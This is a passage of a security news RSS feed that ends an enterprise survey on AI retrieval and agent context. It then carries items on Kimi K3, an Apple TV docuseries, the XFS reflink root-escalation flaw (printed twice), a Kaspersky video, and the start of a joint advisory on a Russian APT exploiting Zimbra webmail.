are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
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<title><![CDATA[The US may find it hard to shrug off Moonshot’s AI shockwaves]]></title>
<description><![CDATA[The latest Chinese models such as Kimi K3 look set to bring greater price competition]]></description>
<link>https://tsecurity.de/de/3689700/ai-nachrichten/the-us-may-find-it-hard-to-shrug-off-moonshots-ai-shockwaves/</link>
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<pubDate>Thu, 23 Jul 2026 18:37:40 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The latest Chinese models such as Kimi K3 look set to bring greater price competition]]></content:encoded>
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<title><![CDATA[Apple TV is branching out with a self-help eight-part dating docuseries]]></title>
<description><![CDATA[Apple TV has announced an upcoming documentary series, featuring New York Times bestselling author and renowned relationship expert Esther Perel, that sets out to help couples find love where they least expect it.Apple TV is getting a new showThe new series, titled "The Last Person on Earth," wil...]]></description>
<link>https://tsecurity.de/de/3689627/ios-mac-os/apple-tv-is-branching-out-with-a-self-help-eight-part-dating-docuseries/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689627/ios-mac-os/apple-tv-is-branching-out-with-a-self-help-eight-part-dating-docuseries/</guid>
<pubDate>Thu, 23 Jul 2026 18:03:32 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://appleinsider.com/inside/apple-tv" title="Apple TV" data-kpt="1">Apple TV</a> has announced an upcoming documentary series, featuring New York Times bestselling author and renowned relationship expert Esther Perel, that sets out to help couples find love where they least expect it.<br><br><div><img src="https://photos5.appleinsider.com/gallery/66745-139965-apple-t-shows-xl.jpg" alt="Large flat screen TV showing Apple TV home screen with pink purple background, tv shows heading, app icons row, and a small analog clock on the stand below." class=""><br><span>Apple TV is getting a new show</span></div><br>The new series, titled "The Last Person on Earth," will follow couples who, on the face of it, appear to be opposites. They'll then be sent to one of the planet's most romantic destinations to put into practice tips and guidance provided by Perel and a team of experts.<br><br>Apple TV has yet to confirm when the new show will debut, nor whether all eight episodes will be made available simultaneously. The streamer tends to release the first two or three episodes of new shows before settling into a cadence of a new episode each week.<br><br><br> <a href="https://appleinsider.com/articles/26/07/23/apple-tv-is-branching-out-with-a-self-help-eight-part-dating-docuseries?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245038?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Linux XFS has a decade-old race condition allowing full root access]]></title>
<description><![CDATA[Linux systems using the XFS filesystem suffer from a race condition that could enable an unprivileged local user to gain full root access.



The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without ...]]></description>
<link>https://tsecurity.de/de/3689585/it-security-nachrichten/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689585/it-security-nachrichten/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access/</guid>
<pubDate>Thu, 23 Jul 2026 17:59:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Linux systems using the XFS <a href="https://www.networkworld.com/article/3631604/linux-filesystems-ext4-btrfs-xfs-zfs-and-more.html">filesystem</a> suffer from a race condition that could enable an unprivileged local user to gain full root access.</p>



<p class="wp-block-paragraph">The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without actually copying its data.</p>



<p class="wp-block-paragraph">According to Qualys Threat Research Unit (TRU), there was a way around the file write protections reflink depends on. The bypass has existed in kernel versions since 2017 before a <a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=e705d81a7193dd19e69b8e2bad4696d78a4ea075" target="_blank" rel="noreferrer noopener">patch was made available</a> last week.</p>



<p class="wp-block-paragraph">“Using this vulnerability, a process running as an ordinary, unprivileged user can trigger the flaw and gain the ability to overwrite any readable file on an XFS volume at the block layer,” <a href="https://www.linkedin.com/in/saeedabbasi/" target="_blank" rel="noreferrer noopener">Saeed Abbasi</a>, head of Qualys TRU, said in a blog post about the vulnerability, which he calls  <a href="https://blog.qualys.com/vulnerabilities-threat-research/2026/07/22/refluxfs-a-linux-kernel-local-privilege-escalation-to-root-in-xfs-cve-2026-64600" target="_blank" rel="noreferrer noopener">RefluXFS</a>. “Exploitation is highly reliable and leaves no kernel log output.”</p>



<p class="wp-block-paragraph">Qualys estimated that the issue affects more than 16.4 million systems, primarily enterprise Linux deployments that use XFS with reflink enabled by default.</p>



<h2 class="wp-block-heading">Race winner gets root in buggy file operation</h2>



<p class="wp-block-paragraph">The vulnerability, tracked as <a href="https://www.cve.org/CVERecord?id=CVE-2026-64600" target="_blank" rel="noreferrer noopener">CVE-2026-64600</a>, stemmed from the way XFS handles copy-on-write operations for reflinked files. Normally, when two files share the same storage block, as in the case of an original file and the reflinked clone, XFS allocates a new storage block before any data modification, so the original file remains unchanged.</p>



<p class="wp-block-paragraph">However, a race condition occurs when two concurrent writes on the reflink file are initiated, confusing the filesystem into modifying the original file. “The change is made directly on disk, persists across reboots, and produces no kernel log output,” Qualys said in an <a href="https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt" target="_blank" rel="noreferrer noopener">advisory</a>.</p>



<p class="wp-block-paragraph">The issue is exploitable when Linux 4.11+, XFS with reflink enabled, and a shared filesystem layout are all present. It is assigned a high severity CVSS of 7.8 out of 10 as an exploit only needs read access to a target file before creating a reflink clone under a writable directory on the same XFS filesystem.</p>



<h2 class="wp-block-heading">Linux distributions affected by RefluXFS</h2>



<p class="wp-block-paragraph">The vulnerability has been present in every mainline and stable Linux kernel since the release of version 4.11 in 2017, and requires no special capabilities or non-default configurations, Qualys said.</p>



<p class="wp-block-paragraph">Affected Linux distributions include RHEL 8,9 and 10, CentOS Stream 8,9, and 10, Oracle Linux 8,9,10, Rocky and AlmaLinux 8,9, and 10, CloudLinux 8,9, and 10, Amazon Linux 2023 and Amazon Linux 2 AMIs from December 2022 onward, Fedora Server 31+, and Debian, Ubuntu and SUSE installations where XFS was manually selected.</p>



<p class="wp-block-paragraph">Usual kernel hardening practices, including memory protection features like <a href="https://www.csoonline.com/article/559839/self-protection-is-key-to-linux-kernel-security.html">Kernel Address Space Layout Randomization</a> (KASLR), Supervisor Mode Access Prevention (SMAP), and Supervisor Mode Execution Prevention (SMEP), are ineffective as they are all aimed at different attack surfaces. Even a kernel lockdown does nothing to stop the affected path, Qualys noted.</p>



<p class="wp-block-paragraph">“SELinux doesn’t block the affected path in testing, and seccomp profiles are no barrier as long as they permit write and ioctl, which ordinary profiles do,” Abbasi explained. Immediate kernel patching and a full reboot are the only reliable mitigations, he added.</p>



<p class="wp-block-paragraph">A fix was merged into the upstream Linux kernel source tree on July 16 as commit “2f4acd0,” after which Linux distributions began backporting the patch into their own supported kernel releases.</p>



<p class="wp-block-paragraph">Organizations running affected XFS deployments should apply their Linux vendor’s latest kernel updates and reboot affected systems once fixed kernels become available.</p>
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<title><![CDATA[Linux XFS has a decade-old race condition allowing full root access]]></title>
<description><![CDATA[Linux systems using the XFS filesystem suffer from a race condition that could enable an unprivileged local user to gain full root access.



The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without ...]]></description>
<link>https://tsecurity.de/de/3689584/it-security-nachrichten/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689584/it-security-nachrichten/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access/</guid>
<pubDate>Thu, 23 Jul 2026 17:58:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Linux systems using the XFS <a href="https://www.networkworld.com/article/3631604/linux-filesystems-ext4-btrfs-xfs-zfs-and-more.html">filesystem</a> suffer from a race condition that could enable an unprivileged local user to gain full root access.</p>



<p class="wp-block-paragraph">The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without actually copying its data.</p>



<p class="wp-block-paragraph">According to Qualys Threat Research Unit (TRU), there was a way around the file write protections reflink depends on. The bypass has existed in kernel versions since 2017 before a <a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=e705d81a7193dd19e69b8e2bad4696d78a4ea075" target="_blank" rel="noreferrer noopener">patch was made available</a> last week.</p>



<p class="wp-block-paragraph">“Using this vulnerability, a process running as an ordinary, unprivileged user can trigger the flaw and gain the ability to overwrite any readable file on an XFS volume at the block layer,” <a href="https://www.linkedin.com/in/saeedabbasi/" target="_blank" rel="noreferrer noopener">Saeed Abbasi</a>, head of Qualys TRU, said in a blog post about the vulnerability, which he calls  <a href="https://blog.qualys.com/vulnerabilities-threat-research/2026/07/22/refluxfs-a-linux-kernel-local-privilege-escalation-to-root-in-xfs-cve-2026-64600" target="_blank" rel="noreferrer noopener">RefluXFS</a>. “Exploitation is highly reliable and leaves no kernel log output.”</p>



<p class="wp-block-paragraph">Qualys estimated that the issue affects more than 16.4 million systems, primarily enterprise Linux deployments that use XFS with reflink enabled by default.</p>



<h2 class="wp-block-heading">Race winner gets root in buggy file operation</h2>



<p class="wp-block-paragraph">The vulnerability, tracked as <a href="https://www.cve.org/CVERecord?id=CVE-2026-64600" target="_blank" rel="noreferrer noopener">CVE-2026-64600</a>, stemmed from the way XFS handles copy-on-write operations for reflinked files. Normally, when two files share the same storage block, as in the case of an original file and the reflinked clone, XFS allocates a new storage block before any data modification, so the original file remains unchanged.</p>



<p class="wp-block-paragraph">However, a race condition occurs when two concurrent writes on the reflink file are initiated, confusing the filesystem into modifying the original file. “The change is made directly on disk, persists across reboots, and produces no kernel log output,” Qualys said in an <a href="https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt" target="_blank" rel="noreferrer noopener">advisory</a>.</p>



<p class="wp-block-paragraph">The issue is exploitable when Linux 4.11+, XFS with reflink enabled, and a shared filesystem layout are all present. It is assigned a high severity CVSS of 7.8 out of 10 as an exploit only needs read access to a target file before creating a reflink clone under a writable directory on the same XFS filesystem.</p>



<h2 class="wp-block-heading">Linux distributions affected by RefluXFS</h2>



<p class="wp-block-paragraph">The vulnerability has been present in every mainline and stable Linux kernel since the release of version 4.11 in 2017, and requires no special capabilities or non-default configurations, Qualys said.</p>



<p class="wp-block-paragraph">Affected Linux distributions include RHEL 8,9 and 10, CentOS Stream 8,9, and 10, Oracle Linux 8,9,10, Rocky and AlmaLinux 8,9, and 10, CloudLinux 8,9, and 10, Amazon Linux 2023 and Amazon Linux 2 AMIs from December 2022 onward, Fedora Server 31+, and Debian, Ubuntu and SUSE installations where XFS was manually selected.</p>



<p class="wp-block-paragraph">Usual kernel hardening practices, including memory protection features like <a href="https://www.csoonline.com/article/559839/self-protection-is-key-to-linux-kernel-security.html">Kernel Address Space Layout Randomization</a> (KASLR), Supervisor Mode Access Prevention (SMAP), and Supervisor Mode Execution Prevention (SMEP), are ineffective as they are all aimed at different attack surfaces. Even a kernel lockdown does nothing to stop the affected path, Qualys noted.</p>



<p class="wp-block-paragraph">“SELinux doesn’t block the affected path in testing, and seccomp profiles are no barrier as long as they permit write and ioctl, which ordinary profiles do,” Abbasi explained. Immediate kernel patching and a full reboot are the only reliable mitigations, he added.</p>



<p class="wp-block-paragraph">A fix was merged into the upstream Linux kernel source tree on July 16 as commit “2f4acd0,” after which Linux distributions began backporting the patch into their own supported kernel releases.</p>



<p class="wp-block-paragraph">Organizations running affected XFS deployments should apply their Linux vendor’s latest kernel updates and reboot affected systems once fixed kernels become available.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.networkworld.com/article/4200802/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access.html">Network World</a>.</em></p>
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<title><![CDATA[Kaspersky’s Sustainability report 2024-2025: partnerships that make an impact]]></title>
<description><![CDATA[Author: Kaspersky - Bewertung: 0x - Views:1 In this video, we talk about how shared values, proven expertise, and transparent impact come together to address real social challenges. Watch to see how Kaspersky approaches responsible collaboration that delivers measurable results.

Find more detail...]]></description>
<link>https://tsecurity.de/de/3689449/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-partnerships-that-make-an-impact/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689449/malware-trojaner-viren/kasperskys-sustainability-report-2024-2025-partnerships-that-make-an-impact/</guid>
<pubDate>Thu, 23 Jul 2026 17:05:42 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Kaspersky - Bewertung: 0x - Views:1 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/fLLG22LLSBI?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>In this video, we talk about how shared values, proven expertise, and transparent impact come together to address real social challenges. Watch to see how Kaspersky approaches responsible collaboration that delivers measurable results.<br />
<br />
Find more details in the report: https://kas.pr/7jar<br />
<br />
#kaspersky #esg #sustainability #cybersecurity #inclusion<br/></p>]]></content:encoded>
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
